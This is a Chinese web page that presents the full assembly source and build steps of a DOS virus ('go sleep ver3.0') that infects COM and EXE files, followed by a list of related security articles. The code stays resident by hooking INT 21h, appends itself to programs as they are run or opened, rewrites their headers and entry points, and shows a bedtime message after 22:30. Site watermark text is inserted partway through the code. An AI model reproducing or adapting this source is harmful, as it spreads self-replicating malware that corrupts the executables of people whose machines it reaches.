编写感染COM与EXE文件的病毒的样例程序
;此程序是d由v0病毒改装升级而来;在dos下才有一定的传染能力
;此程序部分应用了32位编程
;制作方法如下
;tasm32 dv1;
;tlink dv1;
;debug dv1.exe
;-n dv1.com
;-w
;-q
;最后生成dv1.com病毒程序
off equ offset
dosmcb struc ;dos内存控制链结构(部分)
flag db ? ;是m则不是最后一块;是 z则是最后一块
owner dw ? ;是008: 则是系统所有;是0则为未使用内存块
sizes dw ? ;本块大小,按节计算(1节=10h字节)
dosmcb ends
exeheader struc ;exe文件头结构
flags dw zm;exe文件标志
modsize dw ? ;exe文件最后一页字节数
pages dw ? ;exe文件页数(1页为512字节)
reloc dw ? ;exe文件从定位项数
mesize dw ? ;本文头节数
minmem dw ? ;该程序所须最小内存(节)
maxmem dw ? ;该程序所须最大内存(节)
startss dw ? ;程序sp初值
startsp dw ? ;程序相对ss初值
checksum dw ? ;文件头检查和
startip dw ? ;程序ip初值
startcs dw ? ;程序相对cs初值
relocoff dw ? ;从定位信息偏移
exeheader ends
virussize=off @@end-off @@start ;(病毒大小)
virusmemsize=off @@memend-off @@start ;(病毒需要的内存大小)
.386
.model small
.code
org 100h ;按com格式编写
@@start: ;病毒引导块
pusha ;保存所有通用寄存器
mov ax,4d4dh
int 21h ;是否已经驻留内存(自定义中断)
cmp ax,4d4dh
jz short @@execoldapp ;否,调用安装模块
call @@install
@@execoldapp:
mov ah,2ch
int 21h ;得到系统时间
cmp cx,22*100h+30 ;(cmp 时间:22:30)
jb short @@testflag ;不到22:30不调用显示消息
call @@displaymsg ;调用表现块
@@testflag:
clc ;预设为clc指令,表示是com文件(若在传染时被改成stc则是exe文件)
jc short @@isexeapp
@@iscomapp:
call @@getoldcomappcode
oldappcode dw 20cdh ;20cdh恰是int 20h指令,用以返回dos
dw 0000h ;这里为保存原com文件头部4字节信息
@@getoldcomappcode:
pop si ;得到oldappcode的地址
mov di,100h
cld
lodsd
stosd ;恢复原com头部4字节
popa ;恢复所有通用寄器
push word ptr 100h
ret ;去执行原com程序
@@isexeapp:
popa ;恢复所有通用寄器
cli ;改变堆栈指针时要关闭中断
mov sp,es ;得到psp( sp=psp段址)
add sp,10h
spadddata dw 0c481h;0bch是add sp,xxxx指令
oldappss dw 000h ;原exe文件ss相对值
mov ss,sp ;计算出原程序堆栈并恢复
movedatatosp db 0bch ;0bch是mov sp,xxxx指令
oldappsp dw 000h ;原exe文件sp值
sti ;从新开启中断
push ax
mov ax,es ;得到psp( ax=psp段址)
add ax,10h
axadddata db 005h ;05h是add ax,xxxx指令,计算原程序cs值
oldappcs dw 000h ;原exe文件cs相对值
movzx esp,sp ;转化为32位[esp]式堆栈寻址
xchg ax,[esp] ;恢复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆栈寻址
pushworddata db 068h ;068h是push word ptr xxxx指令
oldappip dw 000h ;原exe文件ip值
retf ;去执行原exe程序
@@install:
push ds
push es ;保存段寄存器
mov ax,ds =版权所有 网络 下载 学院 版权所有
dec ax ;得到自己的mcb结构段址,它在程序的psp前
@@contfindlastmcb:
mov ds,ax
cmp ds:[flag],z ;是最后一块吗?
jz short @@foundlastmcb
add ax,ds:[sizes]
inc ax ;计算下一个mcb 的段址=本块段址+本块大小+1
jmp short @@contfindlastmcb
@@foundlastmcb:
sub ds:[sizes],(virusmemsize/10h)+1 ;把最后一块大小减去病毒所须内存大小(节数)
add ax,ds:[sizes]
inc ax ;计算出病毒在高端ram的地址(即在最后一块划出的空间段址)
mov es,ax
xor di,di
push cs
pop ds ;复位数据段
call @@getvirusbase
@@getvirusbase:
pop si
sub si,off @@getvirusbase-off @@start ;得到病毒首址
mov cx,virussize
cld
rep movsb ;把病毒搬运到高端地址
sub ax,10h ;计算出高端病毒的段地址(为使病毒偏移对齐,所以减去10h)
mov ds,ax
@@continstall:
mov ax,3521h
int 21h ;取int 21h的中断向量,并保存
mov ds:oldint21seg,es
mov ds:oldint21off,bx
lea dx,@@newint21
mov ax,2521h
int 21h ;设新的int 21h处理程序到@@newint21处
pop es
pop ds
ret
@@newint21: ;新int21 h服务程序(传染块)
cmp ax,4d4dh
jnz short @@nexthook
iret ;是自定义中断,直接返回
@@nexthook:
cmp ah,4bh
jz short @@mybecom
cmp ah,43h
jz short @@mybecom
cmp ah,3dh
jz short @@mybecom ;截获4b,43,3d号dos功能
@@jmpoldint21:
cli ; 进入int21h前,需要关中断!
jmpfar db 0eah ;远跳转指令jmp xxxx:xxxx
oldint21off dw ?
oldint21seg dw ?
@@callint21: ; 模拟int 21h指令
pushf
push cs
call @@jmpoldint21
ret
@@mybecom: ;入口参数ds:dx=以零结尾的com文件名字符串
pusha
push ds
mov si,dx
xor al,al
@@contfindextname: ;找扩展名
inc si
cmp [si],al
jnz short @@contfindextname
mov eax,[si-4]
or eax,20202020h ;转化为小写字母
cmp eax,moc. ;是.com文件吗?
jz short @@iscomfile
cmp eax,exe. ;是.exe文件吗?
jz short @@isexefile
@@exitopt:
pop ds
popa
jmp short @@jmpoldint21
@@iscomfile:
mov ax,3d02h
call @@callint21 ;3dh,打开com文件
jc short @@optcomfalse ;失败
mov bx,ax
push cs
pop ds ;复位数据段
mov ds:byte ptr[@@testflag],0f8h ;设为clc指令,表示传染的是com文件
lea dx,oldappcode
mov cx,4
mov ah,3fh
int 21h ;读文件首部4字节
jc short @@closecomfile
mov si,dx
cmp word ptr[si],zm ;是否是exe文件(是否是com文件不能仅由扩展名判断)
jz short @@closecomfile ;是就不感染
cmp byte ptr[si+3],v;是否有已感染病毒标志
jz short @@closecomfile ;是则说明该程序已经被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;将文件指针移到文件尾,返回dx:ax=文件长度
or dx,dx
jnz short @@closecomfile ;文件太大不感染
mov dx,ax
add ax,virussize
jc short @@closecomfile ;文件太大不感染
cmp ax,0fd00h
ja short @@closecomfile ;文件太大不感染
sub dx,03 ;计算出jmp virus的偏移量
mov ds:jmpoffset,dx
lea dx,@@start
mov cx,virussize
mov ah,40h
int 21h ;将病毒写到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指针移到文件首
mov cx,04h
lea dx,@@jmpvirus
mov ah,40h
int 21h ;写jmp virus与病毒flag 4字节到文件首部
@@closecomfile:
mov ah,3eh
int 21h ;关闭文件
@@optcomfalse:
jmp short @@exitopt
@@isexefile:
mov ax,3d02h
call @@callint21 ;3dh,打开exe文件
jc @@optexefalse ;失败
mov bx,ax
push cs
pop ds ;复位数据段
mov ds:byte ptr[@@testflag],0f9h ;设为stc指令,表示传染的是exe文件
lea dx,myexeheader
mov cx,size exeheader
mov ah,3fh
int 21h ;读文件首部4字节
jc @@closeexefile
cmp ax,cx
jb @@closeexefile
mov si,dx
cmp word ptr[si.flags],zm ;是否是exe文件(是否是exe文件不能仅由扩展名判断)
jnz @@closeexefile ;不是就不感染
cmp [si.checksum],vv ;是否有已感染病毒标志
jz @@closeexefile ;是则说明该程序已经被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;将文件指针移到文件尾,返回dx:ax=文件长度
cmp dx,8h
ja short @@closeexefile ;文件太大,可能是windows应用程序
shl edx,16
mov dx,ax
push edx ;保存文件大小
shr edx,4
sub dx,[si.mesize] ;计算病毒在该exe程序中新的相对cs
and ax,0fh ;计算病毒在该exe程序中新的ip值(0=<ip<10h)
mov cx,dx ;cx=dx=新的相对cs值
xchg [si.startcs],dx
mov ds:[oldappcs],dx ;修改相对cs值,保存原相对cs值
xchg [si.startss],cx
mov ds:[oldappss],cx ;修改相对ss值,保存原相对ss值
xchg [si.startip],ax
mov ds:[oldappip],ax ;修改ip值,保存原ip值
xor ax,ax
xchg [si.startsp],ax ;修改sp值,保存原sp值
mov ds:[oldappsp],ax
mov [si.checksum],vv;设置传染标志
pop edx ;弹出文件大小
mov ecx,virussize
add edx,ecx ;计算感染后文件的大小
mov ax,dx
and ax,1ffh ;计算感染后文件的modsize
mov [si.modsize],ax
add edx,1ffh
shr edx,9 ;计算感染后文件的pages
mov [si.pages],dx
lea dx,@@start
mov ah,40h
int 21h ;将病毒写到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指针移到文件首
mov cx,size exeheader
lea dx,myexeheader
mov ah,40h
int 21h ;写文件头到文件首部
@@closeexefile:
mov ah,3eh
int 21h ;关闭文件
@@optexefalse:
jmp @@exitopt
@@jmpvirus:
jumpnear db 0e9h ;近转移指令jmp near xxxx
jmpoffset dw ?
virusflag db v ;病毒标志为v字符
@@displaymsg:
pop dx
push dx
add dx,off @@message-off @@testflag ;计算@@message的偏移量
push ds
push cs
pop ds
mov ah,09h
int 21h ;显示信息,“夜已深,你该睡觉了!”
pop ds
ret
@@message:=版权所有 网络 下载 学院 版权所有
db 0ah,0dh,07h
db night is deep,you must go sleep!
db 0ah,0dh,$
db go sleep ver3.0 by whg 2001.5.2
@@end:
myexeheader db size exeheader dup(?)
@@memend:
end @@start
↓相关文章:
- · 在Win 2003中配置ASP.net环境
- · 将病毒斩草除根
- · 手机病毒
- · 使用TCP/IP协议栈指纹进行远程操作系统辨识
- · 安全维护 IIS asp 站点的高级技巧
- · 防止内部IP地址泄漏的2种方法
- · 网络常见攻击与防范完全手册
- · Windows NT2000下的硬盘锁
- · CIH硬盘数据恢复方法与实例
- · 清除双关联木马“聪明基因”
- · 104种木马手工清除方法
- · 如何隐藏程序的运行
- · 六十四、WINOWS NT4.0下的网络安全性
- · 六十二、从DOS直接入网NT
- · 六十一、NT网的无盘工作站远程登陆
- · 六十、Windows NT4.0网络中漫游用户配置文件的建立
- · 五十九、配置广域网中的Windows NT
- · 五十八、NT Server用作Internet的网关
- · 五十六、 NT网卡和Novell网卡互用
- · 五十四、如何使NT4.0支持你的调制解调器
- · 本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
- · 计算机网络系统安全漏洞分类研究
- · 利用万象来控制整个网吧
- · WIN2000的输入法入侵
- · 傲者TXT炸弹(标准版)
- · 主页木马的制作方法
- · IIS UNICODE Bug
- · BBS3000漏洞
- · CGI漏洞集锦
- · SNMP漏洞威胁网络安全
- · 安全专家欲以黑制黑
- · 用net命令使局域网文件批量同步更新
- · 安全高招:让溢出攻击远离我们
- · Firefox使用技巧六则
- · 支持Rss,优化速度:傲游1.2.0发布
- · 四十九、从DOS工作站登录NTS4.0服务器
- · 十三、WIN2000下的xcopy可以复制文件的安全设置
- · “网上邻居”如何和平共处?
- · NT的19个秘密武器
- · 如何在WIN2000下共享ADSL
- · MyIM聊天软件全接触——手把手教你玩转MyIM
- · 手把手教你玩压缩:WinRAR初级教程
- · 消除误解 认清容易被误认为病毒的系统文件
- · 用WinRAR解密木马捆绑的原理
- · 微软IE面临失宠 而使用安全性更好的浏览器
- · 支持半透明窗口,Mozilla再度更新
- · MBSA新版鉴别错误的安全设置更方便!
- · 新版六月末发布:Myie2将会改名Maxt
- · 让你的“添加/删除程序”充满个性
- · 解析微软Update在线升级功能
- · 常用的电脑操作精典秘籍
- · Windows中提高内存使用效率的绝技
- · Windows 98远程控制的实现
- · Windows 2000远程控制的实现
- · Windows XP“远程桌面”的应用
- · Windows XP远程控制的实现
- · 远程控制技术的应用
- · 防Java炸弹、拒收病毒邮件二三招
- · 动态嵌入式DLL木马的发现及清除
- · “后门”的攻击与防御

